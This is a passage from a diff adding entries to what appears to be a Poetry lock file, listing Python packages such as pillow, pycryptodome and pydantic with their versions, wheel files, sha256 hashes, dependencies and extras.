"sha256:fe3cca2e4e8a592be0f269a1ca4835c25199d9f3ce815c8491048f785b0a0198"}, + {file = "pillow-12.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130"}, + {file = "pillow-12.3.0-cp314-cp314-win32.whl", hash = "sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a"}, + {file = "pillow-12.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:fdafc9cce40277e0f7a0feabce0ee50dd2fa1800f3b38015e51296b5e814048d"}, + {file = "pillow-12.3.0-cp314-cp314-win_arm64.whl", hash = "sha256:e91206ee562682b51b98ef4b26a6ef48fd84e15fd4c4bc5ec768eb641d206838"}, + {file = "pillow-12.3.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e"}, + {file = "pillow-12.3.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17"}, + {file = "pillow-12.3.0-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385"}, + {file = "pillow-12.3.0-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c"}, + {file = "pillow-12.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d"}, + {file = "pillow-12.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931"}, + {file = "pillow-12.3.0-cp314-cp314t-win32.whl", hash = "sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7"}, + {file = "pillow-12.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c"}, + {file = "pillow-12.3.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45"}, + {file = "pillow-12.3.0-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139"}, + {file = "pillow-12.3.0-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402"}, + {file = "pillow-12.3.0-cp315-cp315-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c"}, + {file = "pillow-12.3.0-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a4e4902f"}, + {file = "pillow-12.3.0-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701"}, + {file = "pillow-12.3.0-cp315-cp315-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace"}, + {file = "pillow-12.3.0-cp315-cp315-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4"}, + {file = "pillow-12.3.0-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39"}, + {file = "pillow-12.3.0-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f63693d71"}, + {file = "pillow-12.3.0-cp315-cp315-win32.whl", hash = "sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827"}, + {file = "pillow-12.3.0-cp315-cp315-win_amd64.whl", hash = "sha256:fa4ecea169a355be7a3ade2c783e2ed12f0e40d2c5621cda8b3297faf7fbb9f5"}, + {file = "pillow-12.3.0-cp315-cp315-win_arm64.whl", hash = "sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658"}, + {file = "pillow-12.3.0-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:e9871b1ffbfa9656b60aeee92ed5136a5742696006fa322b29ea3d8da0ecc9cf"}, + {file = "pillow-12.3.0-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64"}, + {file = "pillow-12.3.0-cp315-cp315t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e"}, + {file = "pillow-12.3.0-cp315-cp315t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cf1845d02ad822a369a49f2bb9345b1614744267682e7a03527dc3bf6eea1777"}, + {file = "pillow-12.3.0-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1"}, + {file = "pillow-12.3.0-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:f13c32a3abd6079a66d9526e18dad9b6d280384d49d7c54040cd57b6424041d9"}, + {file = "pillow-12.3.0-cp315-cp315t-win32.whl", hash = "sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8"}, + {file = "pillow-12.3.0-cp315-cp315t-win_amd64.whl", hash = "sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418"}, + {file = "pillow-12.3.0-cp315-cp315t-win_arm64.whl", hash = "sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59"}, + {file = "pillow-12.3.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468"}, + {file = "pillow-12.3.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94"}, + {file = "pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbd139c8447d25dd750ab79ee274cc5e1fe80fc56340ab10b18a195e1b6eca3e"}, + {file = "pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e7e480451b9fa137494bccd3a7d69adbe8ac65a87d97be61e11f1b1050a5bac3"}, + {file = "pillow-12.3.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a"}, + {file = "pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce"}, +] + +[package.extras] +docs = ["furo", "olefile", "sphinx (>=8.2)", "sphinx-autobuild", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] +fpx = ["olefile"] +mic = ["olefile"] +test-arrow = ["arro3-compute", "arro3-core", "nanoarrow", "pyarrow"] +tests = ["coverage (>=7.4.2)", "defusedxml", "markdown2", "olefile", "packaging", "pytest", "pytest-cov", "pytest-timeout", "pytest-xdist", "setuptools", "trove-classifiers (>=2024.10.12)"] +xmp = ["defusedxml"] + +[[package]] +name = "pip" +version = "26.2.1" +description = "The PyPA recommended tool for installing Python packages." +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "pip-26.2.1-py3-none-any.whl", hash = "sha256:71138adf1f4ca900cdb7d289c21b7494329f2332b6d85f0e1c42108c0384ed3e"}, + {file = "pip-26.2.1.tar.gz", hash = "sha256:f6ad667e89a1fe78046c8f13232b247200f5258d7828f3f7883d660878e0813f"}, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +description = "plugin and hook calling mechanisms for python" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746"}, + {file = "pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3"}, +] + +[package.extras] +dev = ["pre-commit", "tox"] +testing = ["coverage", "pytest", "pytest-benchmark"] + +[[package]] +name = "prompt-toolkit" +version = "3.0.53" +description = "Library for building powerful interactive command lines in Python" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "prompt_toolkit-3.0.53-py3-none-any.whl", hash = "sha256:01c0891d7f9237d5e339f7d3e42cdae80b7534abb1c7c0e3352efba6231492f2"}, + {file = "prompt_toolkit-3.0.53.tar.gz", hash = "sha256:9ec8a0ad96d5c56148b3f914aa79c1564c3fde5d2e6b876e7bc327e353cf8fa6"}, +] + +[package.dependencies] +wcwidth = ">=0.1.4" + +[[package]] +name = "pyasn1" +version = "0.6.4" +description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pyasn1-0.6.4-py3-none-any.whl", hash = "sha256:deda9277cfd454080ec40b207fb6df82206a3a2688735233cdcd8d3d565f088b"}, + {file = "pyasn1-0.6.4.tar.gz", hash = "sha256:9c447d8431c947fe4c8febc4ed9e760bc29011a5b01e5c74b67025bd9fb8ce81"}, +] + +[[package]] +name = "pyasn1-modules" +version = "0.4.2" +description = "A collection of ASN.1-based protocols modules" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a"}, + {file = "pyasn1_modules-0.4.2.tar.gz", hash = "sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6"}, +] + +[package.dependencies] +pyasn1 = ">=0.6.1,<0.7.0" + +[[package]] +name = "pycodestyle" +version = "2.14.0" +description = "Python style guide checker" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pycodestyle-2.14.0-py2.py3-none-any.whl", hash = "sha256:dd6bf7cb4ee77f8e016f9c8e74a35ddd9f67e1d5fd4184d86c3b98e07099f42d"}, + {file = "pycodestyle-2.14.0.tar.gz", hash = "sha256:c4b5b517d278089ff9d0abdec919cd97262a3367449ea1c8b49b91529167b783"}, +] + +[[package]] +name = "pycparser" +version = "3.0" +description = "C parser in Python" +optional = false +python-versions = ">=3.10" +groups = ["main"] +markers = "platform_python_implementation != \"PyPy\" and implementation_name != \"PyPy\"" +files = [ + {file = "pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992"}, + {file = "pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29"}, +] + +[[package]] +name = "pycryptodome" +version = "3.22.0" +description = "Cryptographic library for Python" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["main"] +files = [ + {file = "pycryptodome-3.22.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:96e73527c9185a3d9b4c6d1cfb4494f6ced418573150be170f6580cb975a7f5a"}, + {file = "pycryptodome-3.22.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:9e1bb165ea1dc83a11e5dbbe00ef2c378d148f3a2d3834fb5ba4e0f6fd0afe4b"}, + {file = "pycryptodome-3.22.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:d4d1174677855c266eed5c4b4e25daa4225ad0c9ffe7584bb1816767892545d0"}, + {file = "pycryptodome-3.22.0-cp27-cp27m-win32.whl", hash = "sha256:9dbb749cef71c28271484cbef684f9b5b19962153487735411e1020ca3f59cb1"}, + {file = "pycryptodome-3.22.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:f1ae7beb64d4fc4903a6a6cca80f1f448e7a8a95b77d106f8a29f2eb44d17547"}, + {file = "pycryptodome-3.22.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:a26bcfee1293b7257c83b0bd13235a4ee58165352be4f8c45db851ba46996dc6"}, + {file = "pycryptodome-3.22.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:009e1c80eea42401a5bd5983c4bab8d516aef22e014a4705622e24e6d9d703c6"}, + {file = "pycryptodome-3.22.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:3b76fa80daeff9519d7e9f6d9e40708f2fce36b9295a847f00624a08293f4f00"}, + {file = "pycryptodome-3.22.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a31fa5914b255ab62aac9265654292ce0404f6b66540a065f538466474baedbc"}, + {file = "pycryptodome-3.22.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a0092fd476701eeeb04df5cc509d8b739fa381583cda6a46ff0a60639b7cd70d"}, + {file = "pycryptodome-3.22.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:18d5b0ddc7cf69231736d778bd3ae2b3efb681ae33b64b0c92fb4626bb48bb89"}, + {file = "pycryptodome-3.22.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:f6cf6aa36fcf463e622d2165a5ad9963b2762bebae2f632d719dfb8544903cf5"}, + {file = "pycryptodome-3.22.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:aec7b40a7ea5af7c40f8837adf20a137d5e11a6eb202cde7e588a48fb2d871a8"}, + {file = "pycryptodome-3.22.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d21c1eda2f42211f18a25db4eaf8056c94a8563cd39da3683f89fe0d881fb772"}, + {file = "pycryptodome-3.22.0-cp37-abi3-win32.whl", hash = "sha256:f02baa9f5e35934c6e8dcec91fcde96612bdefef6e442813b8ea34e82c84bbfb"}, + {file = "pycryptodome-3.22.0-cp37-abi3-win_amd64.whl", hash = "sha256:d086aed307e96d40c23c42418cbbca22ecc0ab4a8a0e24f87932eeab26c08627"}, + {file = "pycryptodome-3.22.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:98fd9da809d5675f3a65dcd9ed384b9dc67edab6a4cda150c5870a8122ec961d"}, + {file = "pycryptodome-3.22.0-pp27-pypy_73-win32.whl", hash = "sha256:37ddcd18284e6b36b0a71ea495a4c4dca35bb09ccc9bfd5b91bfaf2321f131c1"}, + {file = "pycryptodome-3.22.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b4bdce34af16c1dcc7f8c66185684be15f5818afd2a82b75a4ce6b55f9783e13"}, + {file = "pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2988ffcd5137dc2d27eb51cd18c0f0f68e5b009d5fec56fbccb638f90934f333"}, + {file = "pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e653519dedcd1532788547f00eeb6108cc7ce9efdf5cc9996abce0d53f95d5a9"}, + {file = "pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f5810bc7494e4ac12a4afef5a32218129e7d3890ce3f2b5ec520cc69eb1102ad"}, + {file = "pycryptodome-3.22.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e7514a1aebee8e85802d154fdb261381f1cb9b7c5a54594545145b8ec3056ae6"}, + {file = "pycryptodome-3.22.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:56c6f9342fcb6c74e205fbd2fee568ec4cdbdaa6165c8fde55dbc4ba5f584464"}, + {file = "pycryptodome-3.22.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:87a88dc543b62b5c669895caf6c5a958ac7abc8863919e94b7a6cafd2f64064f"}, + {file = "pycryptodome-3.22.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f7a683bc9fa585c0dfec7fa4801c96a48d30b30b096e3297f9374f40c2fedafc"}, + {file = "pycryptodome-3.22.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8f4f6f47a7f411f2c157e77bbbda289e0c9f9e1e9944caa73c1c2e33f3f92d6e"}, + {file = "pycryptodome-3.22.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a6cf9553b29624961cab0785a3177a333e09e37ba62ad22314ebdbb01ca79840"}, + {file = "pycryptodome-3.22.0.tar.gz", hash = "sha256:fd7ab568b3ad7b77c908d7c3f7e167ec5a8f035c64ff74f10d47a4edd043d723"}, +] + +[[package]] +name = "pycryptodomex" +version = "3.23.0" +description = "Cryptographic library for Python" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["main"] +files = [ + {file = "pycryptodomex-3.23.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:add243d204e125f189819db65eed55e6b4713f70a7e9576c043178656529cec7"}, + {file = "pycryptodomex-3.23.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:1c6d919fc8429e5cb228ba8c0d4d03d202a560b421c14867a65f6042990adc8e"}, + {file = "pycryptodomex-3.23.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:1c3a65ad441746b250d781910d26b7ed0a396733c6f2dbc3327bd7051ec8a541"}, + {file = "pycryptodomex-3.23.0-cp27-cp27m-win32.whl", hash = "sha256:47f6d318fe864d02d5e59a20a18834819596c4ed1d3c917801b22b92b3ffa648"}, + {file = "pycryptodomex-3.23.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:d9825410197a97685d6a1fa2a86196430b01877d64458a20e95d4fd00d739a08"}, + {file = "pycryptodomex-3.23.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:267a3038f87a8565bd834317dbf053a02055915acf353bf42ededb9edaf72010"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:7b37e08e3871efe2187bc1fd9320cc81d87caf19816c648f24443483005ff886"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:91979028227543010d7b2ba2471cf1d1e398b3f183cb105ac584df0c36dac28d"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6b8962204c47464d5c1c4038abeadd4514a133b28748bcd9fa5b6d62e3cec6fa"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a33986a0066860f7fcf7c7bd2bc804fa90e434183645595ae7b33d01f3c91ed8"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7947ab8d589e3178da3d7cdeabe14f841b391e17046954f2fbcd941705762b5"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c25e30a20e1b426e1f0fa00131c516f16e474204eee1139d1603e132acffc314"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:da4fa650cef02db88c2b98acc5434461e027dce0ae8c22dd5a69013eaf510006"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:58b851b9effd0d072d4ca2e4542bf2a4abcf13c82a29fd2c93ce27ee2a2e9462"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-win32.whl", hash = "sha256:a9d446e844f08299236780f2efa9898c818fe7e02f17263866b8550c7d5fb328"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-win_amd64.whl", hash = "sha256:bc65bdd9fc8de7a35a74cab1c898cab391a4add33a8fe740bda00f5976ca4708"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-win_arm64.whl", hash = "sha256:c885da45e70139464f082018ac527fdaad26f1657a99ee13eecdce0f0ca24ab4"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:06698f957fe1ab229a99ba2defeeae1c09af185baa909a31a5d1f9d42b1aaed6"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:b2c2537863eccef2d41061e82a881dcabb04944c5c06c5aa7110b577cc487545"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:43c446e2ba8df8889e0e16f02211c25b4934898384c1ec1ec04d7889c0333587"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f489c4765093fb60e2edafdf223397bc716491b2b69fe74367b70d6999257a5c"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bdc69d0d3d989a1029df0eed67cc5e8e5d968f3724f4519bd03e0ec68df7543c"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:6bbcb1dd0f646484939e142462d9e532482bc74475cecf9c4903d4e1cd21f003"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:8a4fcd42ccb04c31268d1efeecfccfd1249612b4de6374205376b8f280321744"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:55ccbe27f049743a4caf4f4221b166560d3438d0b1e5ab929e07ae1702a4d6fd"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-win32.whl", hash = "sha256:189afbc87f0b9f158386bf051f720e20fa6145975f1e76369303d0f31d1a8d7c"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:52e5ca58c3a0b0bd5e100a9fbc8015059b05cffc6c66ce9d98b4b45e023443b9"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:02d87b80778c171445d67e23d1caef279bf4b25c3597050ccd2e13970b57fd51"}, + {file = "pycryptodomex-3.23.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:febec69c0291efd056c65691b6d9a339f8b4bc43c6635b8699471248fe897fea"}, + {file = "pycryptodomex-3.23.0-pp27-pypy_73-win32.whl", hash = "sha256:c84b239a1f4ec62e9c789aafe0543f0594f0acd90c8d9e15bcece3efe55eca66"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ebfff755c360d674306e5891c564a274a47953562b42fb74a5c25b8fc1fb1cb5"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eca54f4bb349d45afc17e3011ed4264ef1cc9e266699874cdd1349c504e64798"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2596e643d4365e14d0879dc5aafe6355616c61c2176009270f3048f6d9a61f"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fdfac7cda115bca3a5abb2f9e43bc2fb66c2b65ab074913643803ca7083a79ea"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:14c37aaece158d0ace436f76a7bb19093db3b4deade9797abfc39ec6cd6cc2fe"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7de1e40a41a5d7f1ac42b6569b10bcdded34339950945948529067d8426d2785"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bffc92138d75664b6d543984db7893a628559b9e78658563b0395e2a5fb47ed9"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:df027262368334552db2c0ce39706b3fb32022d1dce34673d0f9422df004b96a"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4e79f1aaff5a3a374e92eb462fa9e598585452135012e2945f96874ca6eeb1ff"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:27e13c80ac9a0a1d050ef0a7e0a18cc04c8850101ec891815b6c5a0375e8a245"}, + {file = "pycryptodomex-3.23.0.tar.gz", hash = "sha256:71909758f010c82bc99b0abf4ea12012c98962fbf0583c2164f8b84533c2e4da"}, +] + +[[package]] +name = "pydantic" +version = "2.13.4" +description = "Data validation using Python type hints" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba"}, + {file = "pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6"}, +] + +[package.dependencies] +annotated-types = ">=0.6.0" +pydantic-core = "2.46.4" +typing-extensions = ">=4.14.1" +typing-inspection = ">=0.4.2" + +[package.extras] +email = ["email-validator (>=2.0.0)"] +timezone = ["tzdata ; python_version >= \"3.9\" and platform_system == \"Windows\""] + +[[package]] +name = "pydantic-core" +version = "2.46.4" +description = "Core functionality for Pydantic validation and serialization" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4"}, + {file = "pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5"}, + {file = "pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba"}, + {file = "pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b"}, + {file = "pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c"}, + {file = "pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50"}, + {file = "pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd"}, + {file = "pydantic_core-2.46.4-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01"}, + {file = "pydantic_core-2.46.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d"}, + {file = "pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4"}, + {file = "pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f"}, + {file = "pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c1747f85cee84c26985853c6f3d9bd3e75da5212912443fa111c113b9c246f39"}, + {file = "pydantic_core-2.46.4-cp310-cp310-win32.whl", hash = "sha256:2f84c03c8607173d16b5a854ec68a2f9079ae03237a54fb506d13af47e1d018d"}, + {file = "pydantic_core-2.46.4-cp310-cp310-win_amd64.whl", hash = "sha256:8358a950c8909158e3df31538a7e4edc2d7265a7c54b47f0864d9e5bae9dcebf"}, + {file = 